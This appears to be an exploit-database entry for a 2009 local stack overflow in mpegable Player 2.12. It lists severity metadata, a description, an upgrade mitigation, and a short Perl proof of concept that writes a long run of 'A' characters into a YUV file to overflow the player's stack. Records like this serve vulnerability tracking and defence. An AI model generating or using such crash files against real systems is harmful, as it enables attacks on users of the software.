header-logo
Suggest Exploit
vendor:
mpegable Player
by:
milw0rm.com
9,3
CVSS
HIGH
Stack Overflow
121
CWE
Product Name: mpegable Player
Affected Version From: 2.12
Affected Version To: 2.12
Patch Exists: Yes
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

mpegable Player 2.12 (YUV File) Local Stack Overflow POC

A stack overflow vulnerability exists in mpegable Player 2.12 when processing a specially crafted YUV file. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application.

Mitigation:

Upgrade to the latest version of mpegable Player.
Source

Exploit-DB raw data:

# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### ###
# #  mpegable Player 2.12 (YUV File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ##
my $chars= "A" x 1104;
my $file="goldm.yuv";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-29]